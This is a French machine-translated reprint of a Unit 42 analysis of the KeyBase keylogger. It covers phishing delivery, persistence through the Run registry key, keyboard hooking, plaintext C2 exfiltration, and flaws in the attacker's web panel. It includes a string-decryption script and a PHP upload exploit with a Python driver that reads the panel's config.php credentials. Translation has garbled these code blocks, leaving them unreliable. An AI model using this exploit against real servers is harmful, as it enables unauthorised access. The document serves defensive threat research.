Keybase Keylogger Malware famille exposés

Keybase Keylogger Malware famille exposés

25147
Created On 09/26/18 13:39 PM - Last Modified 02/07/19 23:36 PM


Resolution


Réimprimer à partir de l'unité 42.

Ces derniers mois, notre équipe a suivi une famille de malwares Keylogger nommé keybase qui a été dans l'état sauvage depuis février 2015. Le malware est équipé d'une variété de fonctionnalités et peut être acheté pour $50 directement à partir de l'auteur. Il a été déployé dans des attaques contre des organisations dans de nombreuses industries et est principalement livré par le biais de courriels de phishing.

Au total, Palo Alto Networks autofocus menace Intelligence Service a identifié 295 échantillons uniques sur environ 1 500 sessions uniques au cours des quatre derniers mois. Les attaques visaient principalement les industries de la haute technologie, de l'enseignement supérieur et du commerce de détail.

Distribution des logiciels malveillants et cibles

Keybase a été observé pour la première fois à la mi-février de 2015. Peu de temps avant, le domaine'keybase [.] dans', a été enregistré comme une page d'accueil et boutique en ligne pour le keylogger keybase.

Nom de domaine: keybase. Dans

Créé le: 04-Feb-2015 08:27:44 UTC

Dernière mise à jour le: 05-Apr-2015 19:20:38 UTC

Date d'expiration: 04-Feb-2016 08:27:44 UTC

Cette activité est en ligne avec une annonce initiale faite par un utilisateur avec le handle'support ™ 'annonçant keybase sur le Forum hackforums.net le 7 février 2015. Dans le post du Forum, le malware vante les caractéristiques suivantes:

  • Advanced Keylogger
  • Temps d'analyse et d'exécution entièrement non détecté (supprimé ultérieurement)
  • Web-Panel convivial
  • Support Unicode
  • Récupération de mot de passe

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-forums.png

La figure 1. Affichage keybase sur hackforums.net

Depuis le 2015 février, environ 1 500 sessions portant keybase ont été capturées par Wildfire, comme nous pouvons le voir ci-dessous:

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-2.png

La figure 2. Chronologie keybase dans autofocus

Nous pouvons également déterminer rapidement les industries ciblées en utilisant autofocus:

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-3.png

La figure 3. Industries ciblées dans autofocus

Les entreprises ciblées couvrent le globe et sont situées dans de nombreux pays.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-4.png

La figure 4. Les pays ciblés dans autofocus

Ce malware est principalement livré via des courriels de phishing en utilisant des leurres communs. Vous trouverez ci-dessous quelques exemples de fichiers d'attachement:

  • Commande achat. exe
  • New Order. exe
  • Document 27895. SCR
  • Payment document. exe
  • PO #7478. exe
  • Factures. exe en retard

Un tel exemple d'un email livrant keybase peut être vu ci-dessous.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-5.png

Figure 5. E-mail de phishing keybase

Globalement, l'unité 42 a vu un grand nombre de campagnes distinctes à l'aide de keybase. Comme le logiciel peut être facilement acheté par n'importe qui, ce n'est pas surprenant. Comme nous pouvons le voir dans le diagramme suivant, environ 50 différents serveurs de commande et de contrôle (C2) ont été identifiés avec jusqu'à jusqu'à 50 échantillons uniques se connectant à un seul C2.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-6.png

Figure 6. Diagramme de campagne de keybase

Vue d'ensemble des logiciels malveillants

Keybase lui-même est écrit en C# à l'aide du .NET Framework. Ces faits nous ont permis de décompiler le code sous-jacent et d'identifier les fonctionnalités clés et les caractéristiques du keylogger.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-7.png

Figure 7. Logo keybase

La fonctionnalité de keybase inclut les éléments suivants:

  • Afficher un site Web au démarrage
  • Captures d’écran
  • Télécharger/exécuter
  • Persistance
  • Kill Timer

Lorsque le malware est initialement exécuté, une série de threads sont engendrées.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-8.png

Figure 8. Keybase fonction principale

Les différentes fonctions engendrées dans de nouveaux threads peuvent être inertes en fonction des options spécifiées par l'attaquant pendant la construction. Si une fonctionnalité n'est pas activée, une fonction ressemble à ce qui suit:

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-9.png

Figure 9. Fonctions inertes dans keybase

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-10.png

Figure 10. Générateur de keybase

L'auteur utilise un certain nombre de techniques d'obscurcissement simples sur différentes chaînes utilisées dans le code. Il s'agit notamment de remplacer des caractères uniques qui ont été ajoutés aux chaînes, ainsi que d'effectuer des opérations inverses sur des chaînes.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-11.png

Figure 11. Obscurcissement de chaîne à l'aide de remplacer

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-12.png

Figure 12. Obscurcissement de chaîne à l'aide de l'inverse

En outre, l'auteur utilise une classe de «cryptage». Cette classe est utilisée pour décrypter un certain nombre de chaînes trouvées dans le code.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-13.png

Figure 13. Classe de cryptage keybase

Des références à ce code décompilé ont été découvertes dans un ancien affichage sur hackforums.net, où l'utilisateur'éthéré'a fourni un exemple de code.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-14.png

Figure 14. Validation du code de cryptage sur hackforums.net

Nous voyons la fonction'DecryptText'utilisée par l'auteur quand il/elle charge dynamiquement un certain nombre d'API de Microsoft Windows.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-15.png

Figure 15. Fonctions API masquées dans keybase

Le code python suivant peut être utilisé pour décrypter ces chaînes.

Crayon surligneur syntaxique v 2.6.6

#!/usr/bin/python

#-*-codage: UTF-8-*-

Strings = [u "ĈőŘĝŏŒįķŎŖġŎŠĠz", \

            u "ŝ ƕ Ƹš ɣ ư ƕ ŷ ƔƇ żƚ Ʋƕ Ǝ ƤË", \

            u "ķůƒĻŮƊůőŮšŖŴƌůŨž ¥", \

            u "ńŰƓļůƋŰŒůŢŗŵƍŰũſ ¦", \

            u "ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \

            u "ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \

            u "ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ ¥", \

            u "ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \

            u "ńűƎřŹŷŴįŴƈŔŧśƀ £", \

            u "ŵƢDŽƏʀưƑƋƯƶŻƝØ"]

Key = 'clé de base'

def Dec (STR, Key):

  key_len = Len (Key)

  out = ""

  pour c, s dans l'énumération (STR [:-1]):

  out + = Chr (ORD (s)-ORD (Key [c% key_len])-ORD (STR [-1]))

  Return out

pour s dans les chaînes:

  Print "décodé:% 25 |  Codé:% s "% (DEC (s, Key), repr (s))

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#!/usr/bin/python

#-*-codage: UTF-8-*-

Strings = [ u"ĈőŘĝŏŒįķŎŖġŎŠĠz", \

            u"ŝ ƕ Ƹš ɣ ư ƕ ŷ ƔƇ żƚ Ʋƕ Ǝ ƤË", \

            u"ķůƒĻŮƊůőŮšŖŴƌůŨž ¥", \

            u"ńŰƓļůƋŰŒůŢŗŵƍŰũſ ¦", \

            u"ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \

            u"ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \

            u"ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ ¥", \

            u"ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \

            u"ńűƎřŹŷŴįŴƈŔŧśƀ £", \

            uƢDŽƏʀưƑƋƯƶŻƝØ" ]

Key = 'clé de base'

def Dec(Str, Key):

    key_len = Len(Key)

    out = ""

    pour c, s dans l' énumération(Str[:-1]):

        out + = Chr(ORD(s) - ORD(Key[c%key_len]) - ORD(Str[-1]))

    Return out

pour s dans les chaînes:

    print "décodé:% 25 |  Codé:% s " % (Dec(s, Key), repr(s))

[format Time: 0,0047 seconds]

Persistance

La persistance dans keybase, si elle est activée, est obtenue à l'aide de deux techniques: copier le malware dans le dossier de démarrage ou définir la clé de Registre Run sur autorun au démarrage. Lorsque keybase se copie dans le dossier de démarrage, il se nomme «important. exe». Cette valeur est définie statiquement par l'auteur et ne peut pas être modifiée par l'utilisateur dans la version actuelle. La clé utilisée dans la clé de Registre Run suivante est définie par l'utilisateur et est toujours une valeur hexadécimale de 32 octets.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run [32 Byte Key]: [chemin d'accès à l'exécutable]

Keylogging

Keylog dans keybase est principalement accompli dans une classe distincte nommée de manière appropriée'keyhook. ' Bien que la classe partage un nom avec un référentiel accessible au public sur GitHub, la classe semble être écrite sur mesure. Bien que Custom, la classe elle-même utilise une technique très courante d'utiliser le SetWindowsHookExA de Microsoft Windows afin d'accrocher le clavier de la victime.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-16.png

Figure 16. Clavier de raccordement via SetWindowsHookExA

L'auteur procède à gérer les événements clavier appropriés comme prévu.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-17.png

Figure 17. Gestion des événements de clavier

La classe a également la capacité de gérer les caractères Unicode, ainsi que d'obtenir le nom de la fenêtre de premier plan. Cela permet aux logiciels malveillants non seulement d'identifier les touches sont pressées, mais ce que l'application dit presses clés sont envoyés à.

Commande et contrôle (C2)

Toutes les communications avec un serveur distant se font via http. Les données ne sont pas cryptées ou obscurcies de quelque manière que ce soit. Lors de l'exécution initiale, keybase effectuera un premier Check-in sur le serveur distant, comme nous pouvons le voir ci-dessous.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-18.png

Figure 18. Demande initiale de notification de keybase http Get

Un certain nombre d'en-têtes HTTP ne sont pas inclus dans la demande. Ceci fournit une technique simple pour marquer l'activité comme malveillante. Il est également important de noter qu'il est assez élémentaire pour détecter l'activité en utilisant les variables Get hardcoded inclus dans la demande. Bien que le nom de la machine victime et l'heure actuelle varient, le reste de la demande restera statique.

Keybase peut également renvoyer les données suivantes à son serveur C2:

  • Frappes
  • Presse-papiers
  • Captures d’écran

Des exemples de ces données peuvent être vus ci-dessous.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-19.png

Figure 19. Keybase téléchargeant des données de presse-papiers

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-20.png

Figure 20. Keybase téléchargeant des données de frappe

Au cours de cette communication avec son serveur C2, keybase inclura les données RAW du presse-papiers et du journal de frappe à l'aide de divers paramètres Get. Ces données sont codées en URI, mais autrement envoyées en clair.

Enfin, keybase utilisera également un URI spécifique pour télécharger des captures d'écran. Le chemin'/image/upload.php'est hardcoded dans le malware. Toutes les images renvoyées à son serveur C2 seront placées dans le chemin «/image/images/». Les données téléchargées sont de nouveau envoyées non cryptées, comme nous pouvons le voir ci-dessous.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-21.png

Figure 21. Keybase Uploading image capture d'écran

Panneau Web

Le panneau Web lui-même ne fournit pas de caractéristiques innovantes. Il utilise un schéma de couleur rouge/gris simple comme vu ci-dessous.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-22.png

Figure 22. Panneau Web keybase

Le panneau permet à l'attaquant de visualiser rapidement les machines infectées, les frappes, les captures d'écran, les données du presse-papiers et les données de mot de passe. Malheureusement, l'auteur de keybase ne fait pas usage de la pagination, qui se traduit par des performances médiocres dans le cas où une grande quantité de données est affichée à l'attaquant.

Découvertes intéressantes

Au cours de nos recherches, l'unité 42 a découvert qu'aucune authentification n'était requise lors de l'affichage du chemin «/image/images/». Un serveur C2 en particulier se distingue parce qu'il est apparu l'opérateur a été test keybase sur sa machine locale. En tant que tel, des captures d'écran de sa machine ont été téléchargés sur son serveur et pourrait être consulté par le grand public. Dans la capture d'écran ci-dessous, nous pouvons voir clairement le dossier'keybase v 1.0 '. Ce dossier contient presque certainement l'installation de keybase. Tout en visualisant le Bureau de l'opérateur, nous pouvons également voir un certain nombre d'autres keyloggers, tels que «Hawkeye Keylogger» et «Knight Logger». Aussi de la note est un crypteur populaire appelé'AegisCrypter'. Enfin, nous pouvons également voir que l'utilisateur s'engage dans la piraterie, comme des copies de la fois «le Hobbit» et «Fury» apparaissent sur le bureau ainsi.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-23.png

Figure 23. Keybase opérateur Desktop screenshot

Tout en continuant à examiner les images téléchargées, nous identifions également l'utilisateur se connectant à une instance de Windows Web Server 2008 R2 via Remote Desktop. Cela semble être l'endroit où l'attaquant lance leurs campagnes de spam en utilisant une instance de "Turbo-Mailer 2.7.10". Malheureusement, il semble que l'opérateur avait oublié son nom d'utilisateur/mot de passe à ce moment particulier.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-24.png

Figure 24. Opérateur keybase envoyant des courriels d'hameçonnage

L'examen ultérieur des screenshots téléchargés montre l'activité de l'utilisateur se connectant dans son compte de Facebook. L'utilisateur semble être nommé «China Onyeali» et est observé discuter de certains de ses derniers efforts. Plus précisément, nous voyons un lien vers un fichier. rar hébergé sur rghost [.] NET contenant le fichier suivant. Nous voyons aussi l'opérateur de discuter le keylogger Hawkeye dans une autre fenêtre de chat. La page Facebook de l'opérateur prétend qu'il vit à Mbieri, au Nigeria. Nous avons précédemment rapporté sur les acteurs nigérians en utilisant des outils en dehors du plateau pour attaquer les affaires dans notre rapport 419 Evolution en juillet dernier. Cet utilisateur a été signalé à l'équipe de sécurité Facebook.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-25.png

Figure 25. Opérateur keybase connecté à Facebook

Autres découvertes intéressantes

D'autres découvertes intéressantes ont été faites tout en faisant des recherches sur le code principal C2. En particulier, le fichier upload. php a été examiné et analysé, car ce fichier gère les téléchargements de fichiers vers le serveur. Comme nous pouvons le voir, il n'y a pas de validation pour les types de fichiers téléchargés sur le serveur distant.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-26.png

Figure 26. Keybase screenshot Télécharger script php

Cela pose un problème du point de vue de la sécurité, comme un tiers peut simplement télécharger un script php dans le répertoire «/image/images/» pour obtenir un accès non autorisé. Le code php suivant peut être utilisé pour lire le script keybase'config. php', qui contient le nom d'utilisateur et le mot de passe du panneau Web.

Crayon surligneur syntaxique v 2.6.6

< ? php

  $file = '.. /.. /config.php';

  echo "ça marche!".<br>";

  if (file_exists ($file)) {

  echo "fichier de lecture". "<br>";

  echo file_get_contents ($file);

  }

?>

1

2

3

4

5

6

7

8

9

10

< ? php

    $file = '.. /.. /config.php';

    echo "ça marche!" . "<br>";

    if (file_exists($file)) {

        echo "fichier de lecture"."<br>";

        echo file_get_contents($file);

    }

?>

[format Time: 0,0047 seconds]

En outre, le code python suivant peut être utilisé pour télécharger ce fichier et lire les résultats.

Crayon surligneur syntaxique v 2.6.6

demandes d'importation

importer sys

Si Len (sys. argv)! = 2:

  Print "utilisation:% s [php_file]"% __FILE__

  sys. Exit (1)

URL = ""

imprimer "demande d'envoi..."

multiple_files = [('file', ('Win-JJFOIJGL_6_5_14_22_2. php', Open (sys. argv [1], 'RB'))])

r = demandes. post (URL + "image/upload. php", fichiers = multiple_files)

imprimer "résultats:"

imprimer

r = demandes. get (URL + "image/images/Win-JJFOIJGL_6_5_14_22_2. php")

imprimer r. Text

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

demandes d'importation

importer sys

Si Len(sys. argv) ! = 2:

    print "utilisation:% s [php_file]" % __FILE__

    sys. Exit(1)

URL = ""

Imprimer "demande d'envoi..."

multiple_files = [('file', ('Win-JJFOIJGL_6_5_14_22_2. php', Open(sys. argv[1], 'RB')))]

r = demandes. post(URL + "image/upload. php", fichiers=multiple_files)

Imprimer "résultats:"

imprimer

r = demandes. Get(URL + "image/images/Win-JJFOIJGL_6_5_14_22_2. php")

Imprimer r. texte

[format Time: 0,0028 seconds]

Conclusion

Globalement, ce malware keybase est assez peu sophistiqué. Il manque un certain nombre de fonctionnalités disponibles dans certaines des familles les plus populaires Malware, et le panneau Web C2 contient des failles de sécurité qui pourraient permettre à un tiers d'obtenir un accès non autorisé. Le générateur de keybase fournit une interface facile à utiliser et conviviale; Cependant, un certain nombre d'options sont hardcoded dans le malware lui-même. Quelques exemples incluent les utilisations de keybase de nom de fichier quand il est copié pour maintenir la persistance, et divers chemins d'URI qu'il emploie pendant la phase de commande et de contrôle.

Bien que ce malware a quelques problèmes avec sophistication, l'unité 42 a observé une augmentation importante et continue de l'utilisation par les attaquants, ciblant généralement les industries de haute technologie, d'enseignement supérieur et de détail. Palo Alto réseaux clients sont protégés par Wildfire, qui est capable de détecter keybase comme malveillants. Les lecteurs peuvent également utiliser les indicateurs fournis pour déployer des protections.

Pour obtenir la liste des hachages d'échantillon et leurs domaines et adresses IP associés, veuillez consulter le lien suivant.



Actions
  • Print
  • Copy Link

    https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000CllPCAS&lang=fr&refURL=http%3A%2F%2Fknowledgebase.paloaltonetworks.com%2FKCSArticleDetail

Choose Language